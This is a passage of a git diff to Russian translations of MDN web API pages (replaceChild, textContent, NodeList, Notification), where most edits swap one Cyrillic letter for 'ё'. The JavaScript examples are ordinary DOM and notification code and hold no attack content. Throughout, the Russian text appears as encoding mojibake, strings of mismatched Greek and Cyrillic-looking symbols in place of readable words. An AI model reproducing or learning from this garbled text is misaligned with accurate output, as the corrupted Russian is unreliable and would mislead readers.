-<p>Если <code>child</code> Π½Π΅ являСтся Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом <code>element</code>, Ρ‚ΠΎΠ³Π΄Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅. Π’Π°ΠΊΠΆΠ΅ это происходит Ссли <code>child</code> являСтся Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом <code>element</code> Π²ΠΎ врСмя Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Π½ΠΎ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ Π²ΠΎ врСмя Π²Ρ‹Π·ΠΎΠ²Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий ΡƒΠ΄Π°Π»ΡΡŽΡ‰Π΅Π³ΠΎ элСмСнт(Ρ‚.e ΠΏΡ€ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠΈ элСмСнта нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий).</p>
+<p>Если <code>child</code> Π½Π΅ являСтся Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом <code>element</code>, Ρ‚ΠΎΠ³Π΄Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅. Π’Π°ΠΊΠΆΠ΅ это происходит Ссли <code>child</code> являСтся Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом <code>element</code> Π²ΠΎ врСмя Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Π½ΠΎ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ Π²ΠΎ врСмя Π²Ρ‹Π·ΠΎΠ²Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий ΡƒΠ΄Π°Π»ΡΡŽΡ‰Π΅Π³ΠΎ элСмСнт(Ρ‚.e ΠΏΡ€ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠΈ элСмСнта нСпосрСдствСнно ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий).</p>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/node/replacechild/index.html b/files/ru/web/api/node/replacechild/index.html
index c1959cc322..ae9a375735 100644
--- a/files/ru/web/api/node/replacechild/index.html
+++ b/files/ru/web/api/node/replacechild/index.html
@@ -14,34 +14,34 @@ original_slug: Web/API/Node.replaceChild
<div>
{{ApiRef}}</div>
<h2 id="Summary" name="Summary">Аннотация</h2>
-<p>ЗамСняСт Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт Π½Π° Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ элСмСнт.</p>
+<p>ЗамСняСт Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт Π½Π° Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
<pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>);
</pre>
<ul>
- <li><code>newChild</code> элСмСнт Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Π΅Π½ <code>oldChild</code>. Π’ случаСт Ссли ΠΎΠ½ ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ Π² DOM, Ρ‚ΠΎ сначала ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½.</li>
+ <li><code>newChild</code> элСмСнт Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Ρ‘Π½ <code>oldChild</code>. Π’ случаСт Ссли ΠΎΠ½ ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ Π² DOM, Ρ‚ΠΎ сначала ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½.</li>
<li><code>oldChild</code> элСмСнт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΌΠ΅Π½Π΅Π½.</li>
- <li><code>replacedNode</code> Π·Π°ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ элСмСнт. Π’ΠΎΠΆΠ΅ самоС Ρ‡Ρ‚ΠΎ ΠΈ <code>oldChild</code>.</li>
+ <li><code>replacedNode</code> Π·Π°ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт. Π’ΠΎΠΆΠ΅ самоС Ρ‡Ρ‚ΠΎ ΠΈ <code>oldChild</code>.</li>
</ul>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
<pre class="brush:js">// &lt;div&gt;
// &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
// &lt;/div&gt;
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ пустой элСмСнт
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ пустой элСмСнт
// without an ID, any attributes, or any content
var sp1 = document.createElement("span");
// ΠŸΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π΅ΠΌ Π΅ΠΌΡƒ id 'newSpan'
sp1.setAttribute("id", "newSpan");
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ строку.
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ строку.
var sp1_content = document.createTextNode("new replacement span element.");
// ДобавляСм ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² созданный Π½Π°ΠΌΠΈ ΡƒΠ·Π΅Π»
sp1.appendChild(sp1_content);
-// создаСм ссылку Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π·Π°ΠΌΠ΅Π½ΡΡ‚ΡŒ
+// создаём ссылку Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅ΠΌ Π·Π°ΠΌΠ΅Π½ΡΡ‚ΡŒ
var sp2 = document.getElementById("childSpan");
var parentDiv = sp2.parentNode;
diff --git a/files/ru/web/api/node/textcontent/index.html b/files/ru/web/api/node/textcontent/index.html
index 479fae01e3..7ee831edaf 100644
--- a/files/ru/web/api/node/textcontent/index.html
+++ b/files/ru/web/api/node/textcontent/index.html
@@ -33,7 +33,7 @@ element.textContent = "Π­Ρ‚ΠΎ просто тСкст";
<h3 id="ΠžΡ‚Π»ΠΈΡ‡ΠΈΠ΅_ΠΎΡ‚_innerText">ΠžΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ <code>innerText</code></h3>
-<p><code>element.innerText</code> Π±Ρ‹Π» Π²Π²Π΅Π΄Π΅Π½ Internet Explorer-ΠΎΠΌ. Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡƒ Π·Π° нСбольшими ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΠΌΠΈ:</p>
+<p><code>element.innerText</code> Π±Ρ‹Π» Π²Π²Π΅Π΄Ρ‘Π½ Internet Explorer-ΠΎΠΌ. Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡƒ Π·Π° нСбольшими ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΠΌΠΈ:</p>
<ul>
<li><code>textContent</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ содСрТимоС <em>всСх</em> элСмСнтов, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ  {{HTMLElement("script")}} ΠΈ {{HTMLElement("style")}}, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ <code>innerText</code> этого Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚.</li>
@@ -50,7 +50,7 @@ element.textContent = "Π­Ρ‚ΠΎ просто тСкст";
<pre class="brush: js">// Π”Π°Π½ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚:
// &lt;div id="block"&gt;Π­Ρ‚ΠΎ β€” &lt;span&gt;просто&lt;/span&gt; тСкст&lt;/div&gt;
-// ДостаСм тСкстовоС содСрТимоС:
+// Достаём тСкстовоС содСрТимоС:
var text = document.getElementById("block").textContent;
// Π’ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ |text| находится: "Π­Ρ‚ΠΎ β€” просто тСкст".
diff --git a/files/ru/web/api/nodelist/index.html b/files/ru/web/api/nodelist/index.html
index 1e3bf20fff..d102e8c70e 100644
--- a/files/ru/web/api/nodelist/index.html
+++ b/files/ru/web/api/nodelist/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/NodeList
<div class="note">
<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ <code>NodeList</code>Β Π½Π΅ являСтся массивом ( <code>Array</code> ), Π΅Π³ΠΎ Π²ΠΏΠΎΠ»Π½Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π±Ρ€Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° forEach(). NodeList Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² <code>Array</code> ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ {{jsxref("Array.from()")}}</p>
-<p>Однако Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ всС Π΅Ρ‰Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚Β <code>NodeList.forEach()</code> ΠΈΠ»ΠΈ <code>Array.from()</code>. Π”Π°Π½Π½Ρ‹Π΅ ограничСния ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° этой страницС ).</p>
+<p>Однако Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ всС Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚Β <code>NodeList.forEach()</code> ΠΈΠ»ΠΈ <code>Array.from()</code>. Π”Π°Π½Π½Ρ‹Π΅ ограничСния ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° этой страницС ).</p>
</div>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/notification/index.html b/files/ru/web/api/notification/index.html
index 0ba6b0d4d1..2f520242d4 100644
--- a/files/ru/web/api/notification/index.html
+++ b/files/ru/web/api/notification/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/Notification
<dl>
<dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Notification</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Notification</code>.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
@@ -79,7 +79,7 @@ translation_of: Web/API/Notification
<dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
<dd>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ увСдомлСния, указываСтся Π² опциях ΠΊΠ°ΠΊΒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ конструктора.</dd>
<dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ шаблон Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ для устройств с Π²ΠΈΠ±Ρ€ΠΎ.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ шаблон Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΈ для устройств с Π²ΠΈΠ±Ρ€ΠΎ.</dd>
</dl>
<h4 id="НС_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅_свойства">НС ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ свойства</h4>
@@ -106,7 +106,7 @@ translation_of: Web/API/Notification
<h4 id="Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ_событий">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий</h4>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий всС Π΅Ρ‰Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ {{anch("browser compatibility")}} Π½ΠΈΠΆΠ΅, Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ Π½Π΅ входят в Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ. ΠΠ΅Π±Π΅Π·ΠΎΡΠ½ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ устарСли ΠΈΒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΡΡ‚Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π²Β Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… вСрсиях Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий всС Π΅Ρ‰Ρ‘ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ, ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ {{anch("browser compatibility")}} Π½ΠΈΠΆΠ΅, Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ Π½Π΅ входят в Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ. ΠΠ΅Π±Π΅Π·ΠΎΡΠ½ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ устарСли ΠΈΒ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΡΡ‚Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π²Β Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… вСрсиях Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
<dl>
<dt>{{domxref("Notification.onclose")}}</dt>
@@ -153,21 +153,21 @@ translation_of: Web/API/Notification
// ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ
else if (Notification.permission === "granted") {
- // Если Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ, Ρ‚ΠΎ создаСм ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅
+ // Если Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ, Ρ‚ΠΎ создаём ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅
var notification = new Notification("Hi there!");
}
// Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅
else if (Notification.permission !== 'denied') {
Notification.requestPermission(function (permission) {
- // Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΠ», Ρ‚ΠΎ создаСм ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅
+ // Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΠ», Ρ‚ΠΎ создаём ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅
if (permission === "granted") {
var notification = new Notification("Hi there!");
}
});
}
- // Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счСтС, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ отказался ΠΎΡ‚ получСния
+ // Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счётС, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ отказался ΠΎΡ‚ получСния
// ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ, Ρ‚ΠΎ стоит ΡƒΠ²Π°ΠΆΠ°Ρ‚ΡŒ Π΅Π³ΠΎ Π²Ρ‹Π±ΠΎΡ€ ΠΈ Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒ Π΅Π³ΠΎ
Β  // ΠΏΠΎ этому ΠΏΠΎΠ²ΠΎΠ΄Ρƒ.
}</pre>
@@ -180,7 +180,7 @@ translation_of: Web/API/Notification
console.log(result);
});</code></pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ запускаСм ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>spawnNotification()</code>,Β ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ вывСсти ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅,Β ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‰ΡƒΡŽΒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ для указания Ρ‚Π΅Π»Π°, ΠΈΠΊΠΎΠ½ΠΊΠΈ ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹,Β Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½Π° создаСт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² <code>options</code> ΠΈ запускаСт ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора  {{domxref("Notification.Notification","Notification()")}}.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ запускаСм ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>spawnNotification()</code>,Β ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ вывСсти ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅,Β ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‰ΡƒΡŽΒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ для указания Ρ‚Π΅Π»Π°, ΠΈΠΊΠΎΠ½ΠΊΠΈ ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹,Β Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½Π° создаёт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² <code>options</code> ΠΈ запускаСт ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора  {{domxref("Notification.Notification","Notification()")}}.</p>
<pre class="brush: js"><code>function spawnNotification(body, icon, title) {
var options = {
diff --git a/files/ru/web/api/notifications_api/index.html b/files/ru/web/api/notifications_api/index.html
index 5641358a8a..8fdc6b6de0 100644
--- a/files/ru/web/api/notifications_api/index.html
+++ b/files/ru/web/api/notifications_api/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Notifications_API
---
<p>{{DefaultAPISidebar("Web Notifications")}}</p>
-<p class="summary">Notifications API ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β web-страницам ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ систСмных ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ для ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ β€” ΠΎΠ½ΠΈ находятся внС контСкста окна Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, поэтому могут ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ смСнил Π²ΠΊΠ»Π°Π΄ΠΊΡƒ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΡˆΠ΅Π» ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ.Β API Π±Ρ‹Π»ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΒ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒΒ Ρ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈΒ ΡΠΈΡΡ‚Π΅ΠΌΠ°ΠΌΠΈ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
+<p class="summary">Notifications API ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β web-страницам ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ систСмных ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ для ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ β€” ΠΎΠ½ΠΈ находятся внС контСкста окна Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, поэтому могут ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ смСнил Π²ΠΊΠ»Π°Π΄ΠΊΡƒ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΡˆΡ‘Π» ΠΊ 